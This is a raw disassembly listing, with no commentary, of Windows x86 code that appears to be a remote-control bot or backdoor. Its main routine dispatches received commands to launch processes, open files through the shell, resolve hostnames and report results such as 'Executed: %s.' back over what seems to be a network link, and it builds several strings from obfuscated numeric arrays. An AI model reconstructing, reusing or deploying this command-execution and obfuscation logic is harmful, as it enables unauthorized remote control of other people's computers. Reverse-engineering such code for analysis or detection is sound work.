		mov	byte ptr [esp+0A0h+var_4], 9
		call	sub_401E47
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+9Ch+var_4], 0Ah
		call	sub_401FDC
		lea	ecx, [esp+98h+var_3C]
		mov	byte ptr [esp+98h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+98h+var_24]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		mov	al, [esp+98h+arg_4]
		test	al, al
		jnz	short loc_4049F7
		test	ebp, ebp
		jle	short loc_404A08


loc_4049E8:				; CODE XREF: sub_404690+363j
		mov	ecx, [esp+98h+var_88]
		push	esi
		call	sub_401F87
		dec	ebp
		jnz	short loc_4049E8
		jmp	short loc_404A08
; ---------------------------------------------------------------------------


loc_4049F7:				; CODE XREF: sub_404690+352j
		test	ebp, ebp
		jle	short loc_404A08


loc_4049FB:				; CODE XREF: sub_404690+376j
		mov	ecx, [esp+98h+var_88]
		push	esi
		call	sub_40144C
		dec	ebp
		jnz	short loc_4049FB


loc_404A08:				; CODE XREF: sub_404690+356j
					; sub_404690+365j ...
		lea	ecx, [esp+98h+var_84]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_404A3A
; ---------------------------------------------------------------------------


loc_404A1E:				; CODE XREF: sub_404690+1E7j
		mov	al, [esp+98h+arg_4]
		mov	ecx, [esp+98h+var_88]
		test	al, al
		push	esi
		jnz	short loc_404A35
		call	sub_401F87
		jmp	short loc_404A3A
; ---------------------------------------------------------------------------


loc_404A35:				; CODE XREF: sub_404690+39Cj
		call	sub_40144C


loc_404A3A:				; CODE XREF: sub_404690+162j
					; sub_404690+232j ...
		mov	ecx, [esp+98h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 88h
		retn	8
sub_404690	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404B60	proc near		; CODE XREF: sub_401F87j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, ecx
		mov	ecx, offset word_44AC72
		call	sub_4014DD
		mov	esi, [esp+8+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_404BA6
		sub	esp, 18h
		lea	eax, [esi+15h]
		mov	ecx, esp
		mov	[esp+20h+arg_0], esp
		push	eax
		call	sub_4014D3
		mov	ecx, offset word_44AC6E
		call	sub_401CE4
		test	eax, eax
		jnz	short loc_404BA6
		xor	al, al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404BA6:				; CODE XREF: sub_404B60+1Dj
					; sub_404B60+3Dj
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+20h+arg_0], esp
		push	edx
		call	sub_4014D3
		mov	ecx, offset word_44AC6E
		call	sub_401CE4
		test	eax, eax
		jnz	short loc_404BE6
		mov	al, [edi+469h]
		test	al, al
		jz	short loc_404BE6
		push	0
		lea	ecx, [esi+2Ah]
		call	sub_401479
		cmp	byte ptr [eax],	23h
		jz	short loc_404BE6
		xor	al, al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404BE6:				; CODE XREF: sub_404B60+64j
					; sub_404B60+6Ej ...
		push	esi
		mov	ecx, edi
		call	sub_40144C
		pop	edi
		pop	esi
		retn	4
sub_404B60	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404C30	proc near		; CODE XREF: sub_40144Cj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	1
		lea	ecx, [esi+7Eh]
		call	sub_4017EE
		push	eax
		mov	ecx, offset dword_449128
		call	sub_401B04
		test	eax, eax
		jz	short loc_404C5A
		mov	ecx, [eax+2Ah]
		push	esi
		mov	eax, [ecx]
		call	dword ptr [eax]
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404C5A:				; CODE XREF: sub_404C30+1Cj
		xor	al, al
		pop	esi
		retn	4
sub_404C30	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404C70	proc near		; CODE XREF: sub_40186Bj
		push	esi
		push	edi
		mov	edi, dword_5118AC
		mov	esi, ecx
		call	edi
		mov	edx, dword_4D80A9
		mov	ecx, [esi+421h]
		sub	eax, edx
		cmp	eax, ecx
		jbe	short loc_404C9F
		mov	ecx, offset byte_4D8085
		call	sub_401D20
		call	edi
		mov	dword_4D80A9, eax


loc_404C9F:				; CODE XREF: sub_404C70+1Cj
		pop	edi
		mov	al, 1
		pop	esi
		retn
sub_404C70	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404CC0	proc near		; CODE XREF: sub_4017D0j

var_1B4		= dword	ptr -1B4h
var_1B0		= byte ptr -1B0h
var_1AC		= dword	ptr -1ACh
var_1A8		= byte ptr -1A8h
var_198		= byte ptr -198h
var_194		= dword	ptr -194h
var_190		= byte ptr -190h
var_17C		= dword	ptr -17Ch
var_178		= byte ptr -178h
var_168		= dword	ptr -168h
var_164		= byte ptr -164h
var_14D		= byte ptr -14Dh
var_14C		= byte ptr -14Ch
var_130		= byte ptr -130h
var_11C		= byte ptr -11Ch
var_104		= dword	ptr -104h
var_100		= byte ptr -100h
var_D0		= dword	ptr -0D0h
var_A0		= byte ptr -0A0h
var_8C		= byte ptr -8Ch
var_54		= byte ptr -54h
var_50		= byte ptr -50h
var_48		= byte ptr -48h
var_30		= byte ptr -30h
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_404CC0
		push	eax
		mov	large fs:0, esp
		sub	esp, 15Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+174h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebp, [esi+7Eh]
		lea	ecx, [edi+0C29h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404D34
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [edi+2E3h]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8085
		call	sub_401118
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_404D34:				; CODE XREF: sub_404CC0+40j
		lea	ecx, [edi+0D6Bh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_404EC5
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+180h+var_14C]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	offset asc_444600 ; " "
		lea	eax, [esp+17Ch+var_100]
		push	1
		push	eax
		mov	ecx, esi
		mov	[esp+184h+var_4], 0
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 1
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		cmp	eax, 1
		lea	ecx, [esp+178h+var_100]
		mov	byte ptr [esp+178h+var_4], 0
		setz	bl
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		call	sub_40142E
		push	2000h
		push	2000h
		lea	ecx, [esp+180h+var_164]
		mov	byte ptr [esp+180h+var_4], 2
		call	sub_401C71
		push	eax
		lea	ecx, [esp+180h+var_14C]
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 2810000h
		lea	ecx, [esp+178h+var_164]
		push	ecx
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_401FDC
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+178h+var_D0]
		lea	edx, [esp+178h+var_11C]
		rep stosd
		lea	eax, [esp+178h+var_D0]
		push	edx
		push	eax
		push	0
		neg	bl
		push	0
		push	28h
		sbb	ebx, ebx
		push	1
		and	ebx, 5
		push	0
		push	0
		lea	ecx, [esp+198h+var_14C]
		mov	[esp+198h+var_D0], 44h
		mov	word ptr [esp+198h+var_A0], bx
		call	sub_4014DD
		push	eax
		push	0
		call	near ptr 28005B2h
		nop
		test	eax, eax
		jnz	short loc_404E99
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aExec_error ; "exec.error"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8085
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 0
		call	sub_401226
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		jmp	loc_4056B8
; ---------------------------------------------------------------------------


loc_404E99:				; CODE XREF: sub_404CC0+18Cj
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_404EC5:				; CODE XREF: sub_404CC0+89j
		lea	ecx, [edi+0B71h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_404F74
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+180h+var_164]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, offset byte_4E8E55
		mov	[esp+178h+var_4], 3
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404F60
		mov	al, byte_4498A6
		test	al, al
		jz	short loc_404F30
		push	offset dword_449844
		mov	ecx, offset dword_44AD80
		call	sub_401451


loc_404F30:				; CODE XREF: sub_404CC0+25Fj
		mov	al, byte_4498EF
		test	al, al
		jz	short loc_404F48
		push	offset byte_44991F
		mov	ecx, offset dword_44AD80
		call	sub_401951


loc_404F48:				; CODE XREF: sub_404CC0+277j
		mov	ecx, offset dword_44AD80
		call	sub_401E79
		mov	byte_4D809C, 0
		mov	byte_4E8E54, 0


loc_404F60:				; CODE XREF: sub_404CC0+256j
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_164]
		jmp	loc_4056B8
; ---------------------------------------------------------------------------


loc_404F74:				; CODE XREF: sub_404CC0+21Aj
		lea	ecx, [edi+0C57h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404FBC
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		mov	ecx, offset word_4E8E6A
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8085
		call	sub_401118
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_404FBC:				; CODE XREF: sub_404CC0+2C9j
		lea	ecx, [edi+0DC7h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405076
		push	eax
		push	13h
		push	0Eh
		push	4
		push	8
		push	13h
		push	15h
		push	0Ch
		push	6
		lea	eax, [esp+19Ch+var_14C]
		push	50h
		push	eax
		call	sub_4019C4
		mov	esi, eax
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	7
		push	9
		push	6
		push	0Eh
		push	0Fh
		push	3
		push	10h
		lea	ecx, [esp+1D4h+var_164]
		push	9
		push	ecx
		mov	[esp+1DCh+var_4], 4
		call	sub_4019C4
		add	esp, 64h
		mov	edi, eax
		mov	ecx, esi
		mov	byte ptr [esp+178h+var_4], 5
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		call	sub_401299
		add	esp, 8
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_405076:				; CODE XREF: sub_404CC0+311j
		lea	ecx, [edi+0D0Fh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405194
		lea	ecx, [esp+178h+var_14C]
		call	sub_40142E
		push	offset asc_444600 ; " "
		lea	edx, [esp+17Ch+var_11C]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+184h+var_4], 6
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 7
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_401A9B
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		call	sub_40142E
		push	1
		mov	bl, 8
		push	0
		push	0
		lea	ecx, [esp+184h+var_14C]
		mov	byte ptr [esp+184h+var_4], bl
		call	sub_4017EE
		push	eax
		push	offset aOpen	; "open"
		push	0
		call	near ptr 7CA41110h
		nop
		movsx	eax, al
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_402112
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], 9
		push	ecx
		lea	ecx, [esp+17Ch+var_164]
		call	sub_40202C
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8085
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 6
		call	sub_401226
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		jmp	loc_4056B8
; ---------------------------------------------------------------------------


loc_405194:				; CODE XREF: sub_404CC0+3CBj
		lea	ecx, [edi+0D99h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4051B7
		mov	byte_4D809C, al
		mov	al, 1
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_4051B7:				; CODE XREF: sub_404CC0+4E9j
		lea	ecx, [edi+0D3Dh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40547E
		lea	ecx, [esp+178h+var_11C]
		call	sub_40142E
		push	offset asc_444600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		mov	ebx, 0Ah
		push	ecx
		mov	ecx, esi
		mov	[esp+184h+var_4], ebx
		call	sub_4016B8
		push	offset byte_448F40
		mov	ecx, eax
		mov	byte ptr [esp+17Ch+var_4], 0Bh
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		setz	[esp+178h+var_14D]
		call	sub_401226
		mov	al, [esp+178h+var_14D]
		test	al, al
		jz	short loc_405241
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_11C]
		jmp	loc_4056B8
; ---------------------------------------------------------------------------


loc_405241:				; CODE XREF: sub_404CC0+56Bj
		push	offset asc_444600 ; " "
		lea	edx, [esp+17Ch+var_164]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 0Ch
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 71AB2BF4h
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_104], eax
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		mov	eax, [esp+178h+var_104]
		or	ebp, 0FFFFFFFFh
		cmp	eax, ebp
		jz	loc_405314
		push	2
		lea	eax, [esp+17Ch+var_104]
		push	4
		push	eax
		nop
		call	near ptr 71ABE479h
		mov	edi, eax
		test	edi, edi
		jz	loc_4053F5
		push	offset asc_444600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	edx, [edi]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+17Ch+var_4], 0Dh
		call	sub_4017EE
		push	eax
		lea	eax, [esp+180h+var_11C]
		push	offset aSResolvedS ; "%s resolved %s"
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		jmp	loc_40545B
; ---------------------------------------------------------------------------


loc_405314:				; CODE XREF: sub_404CC0+5C7j
		push	offset asc_444600 ; " "
		lea	eax, [esp+17Ch+var_164]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 0Eh
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 71AB4FD4h
		lea	ecx, [esp+178h+var_164]
		mov	edi, eax
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		test	edi, edi
		jz	loc_4053F5
		mov	ecx, [edi+0Ch]
		push	offset asc_444600 ; " "
		lea	eax, [esp+17Ch+var_164]
		push	1
		mov	edx, [ecx]
		push	eax
		mov	ecx, esi
		mov	edi, [edx]
		call	sub_4016B8
		mov	ebp, eax
		push	edi
		mov	byte ptr [esp+17Ch+var_4], 0Fh
		call	near ptr 71AB3F41h
		nop
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+180h+var_11C]
		push	offset aSS_1	; "%s -> %s"
		push	ecx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8085
		call	sub_401118
		lea	ecx, [esp+178h+var_11C]
		mov	bl, al
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_4053F5:				; CODE XREF: sub_404CC0+5E0j
					; sub_404CC0+691j
		push	offset asc_444600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 10h
		call	sub_4017EE
		push	eax
		lea	edx, [esp+17Ch+var_11C]
		push	offset aResolve_errorS ; "resolve.error	%s."
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx


loc_40545B:				; CODE XREF: sub_404CC0+64Fj
		mov	ecx, offset byte_4D8085
		call	sub_401118
		lea	ecx, [esp+178h+var_11C]
		mov	bl, al
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		mov	al, bl
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_40547E:				; CODE XREF: sub_404CC0+50Cj
		lea	ecx, [edi+0BCDh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40556C
		lea	ecx, [edi+9]
		call	sub_4017EE
		lea	edx, [esp+178h+var_164]
		push	eax
		push	edx
		call	sub_402040
		push	0
		push	25h
		push	1Dh
		push	23h
		lea	eax, [esp+190h+var_14C]
		mov	ebx, 11h
		push	28h
		push	eax
		mov	[esp+198h+var_4], ebx
		call	sub_4019C4
		add	esp, 20h
		mov	esi, eax
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 12h
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	offset byte_4D8085
		call	sub_401E24
		add	esp, 10h
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		push	20h
		lea	ecx, [esp+17Ch+var_14C]
		push	0
		push	ecx
		lea	ecx, [esp+184h+var_164]
		call	sub_4012B2
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 13h
		call	sub_4017EE
		push	eax
		push	offset aS	; "%s"
		push	offset byte_4E8E55
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_40556C:				; CODE XREF: sub_404CC0+7D3j
		lea	ecx, [edi+0E23h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4056DA
		push	offset asc_444600 ; " "
		lea	edx, [esp+17Ch+var_11C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	edi, eax
		mov	ecx, ebp
		mov	[esp+178h+var_4], 14h
		call	sub_4013E3
		mov	ecx, edi
		mov	ebx, eax
		call	sub_4013E3
		mov	ecx, esi
		lea	edi, [ebx+eax+3]
		call	sub_4013E3
		cmp	eax, edi
		lea	ecx, [esp+178h+var_11C]
		setle	bl
		or	edi, 0FFFFFFFFh
		mov	[esp+178h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_4056BD
		lea	ecx, [esp+178h+var_14C]
		call	sub_40142E
		mov	ecx, ebp
		mov	[esp+178h+var_4], 15h
		call	sub_4013E3
		add	eax, 2
		mov	ecx, esi
		push	eax
		call	sub_401479
		push	eax
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_4015E1
		lea	ecx, [esp+178h+var_164]
		call	sub_40142E
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], 16h
		call	sub_4017EE
		push	eax
		lea	eax, [esp+17Ch+var_164]
		push	offset aExecutedS_ ; "Executed:	%s."
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_14C]
		call	sub_4017EE
		push	eax
		call	near ptr 77C293C7h
		nop
		add	esp, 4
		cmp	eax, edi
		lea	ecx, [esi+69h]
		jnz	short loc_405674
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aExec_error ; "exec.error"
		push	ecx
		push	edx
		jmp	short loc_405692
; ---------------------------------------------------------------------------


loc_405674:				; CODE XREF: sub_404CC0+997j
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx


loc_405692:				; CODE XREF: sub_404CC0+9B2j
		mov	ecx, offset byte_4D8085
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 15h
		call	sub_401226
		mov	[esp+178h+var_4], edi
		lea	ecx, [esp+178h+var_14C]


loc_4056B8:				; CODE XREF: sub_404CC0+1D4j
					; sub_404CC0+2AFj ...
		call	sub_401226


loc_4056BD:				; CODE XREF: sub_404CC0+91Cj
					; sub_404CC0+C6Aj
		xor	al, al


loc_4056BF:				; CODE XREF: sub_404CC0+6Fj
					; sub_404CC0+200j ...
		mov	ecx, [esp+178h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 168h
		retn	4
; ---------------------------------------------------------------------------


loc_4056DA:				; CODE XREF: sub_404CC0+8C1j
		lea	ecx, [edi+0C85h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_405750
		lea	edx, [esp+178h+var_164]
		mov	ecx, edi
		push	edx
		call	sub_401F5A
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+178h+var_4], 17h
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8085
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	bl, al
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_405750:				; CODE XREF: sub_404CC0+A2Fj
		lea	ecx, [edi+0CE1h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405841
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+180h+var_14C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	20h
		lea	ecx, [esp+17Ch+var_164]
		push	0
		push	ecx
		mov	ecx, eax
		mov	[esp+184h+var_4], 18h
		call	sub_4012B2
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 19h
		call	sub_4017EE
		push	eax
		push	offset aS	; "%s"
		push	offset byte_4E8E55
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 18h
		call	sub_401226
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], edi
		call	sub_401226
		push	0
		push	25h
		push	1Dh
		push	23h
		lea	edx, [esp+188h+var_164]
		push	28h
		push	edx
		call	sub_4019C4
		add	esp, 18h
		mov	esi, eax
		mov	ecx, offset byte_4E8E55
		mov	[esp+178h+var_4], 1Ah
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	offset byte_4D8085
		call	sub_401E24
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_405841:				; CODE XREF: sub_404CC0+AA5j
		lea	ecx, [edi+0CB3h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405915
		push	offset asc_444600 ; " "
		lea	eax, [esp+17Ch+var_14C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+178h+var_4], 1Bh
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		or	ebp, 0FFFFFFFFh
		add	esp, 4
		lea	ecx, [esp+178h+var_14C]
		mov	ebx, eax
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		test	ebx, ebx
		jnz	short loc_4058A9
		mov	ebx, 7


loc_4058A9:				; CODE XREF: sub_404CC0+BE2j
		lea	ecx, [esp+178h+var_164]
		push	ebx
		push	ecx
		mov	ecx, edi
		call	sub_40195B
		push	offset byte_448F40
		lea	ecx, [esp+17Ch+var_164]
		mov	[esp+17Ch+var_4], 1Ch
		call	sub_4012EE
		test	eax, eax
		jz	short loc_4058FE
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8085
		call	sub_401118


loc_4058FE:				; CODE XREF: sub_404CC0+C11j
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		mov	al, 1
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_405915:				; CODE XREF: sub_404CC0+B96j
		lea	ecx, [edi+0DF5h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4056BD
		lea	ecx, [esp+178h+var_100]
		call	sub_40142E
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+22Ch+var_164]
		push	2Dh
		push	ecx
		mov	[esp+234h+var_4], 1Dh
		call	sub_4019C4
		add	esp, 0BCh
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 1Eh
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+17Ch+var_100]
		call	sub_401A9B
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 1Dh
		call	sub_401226
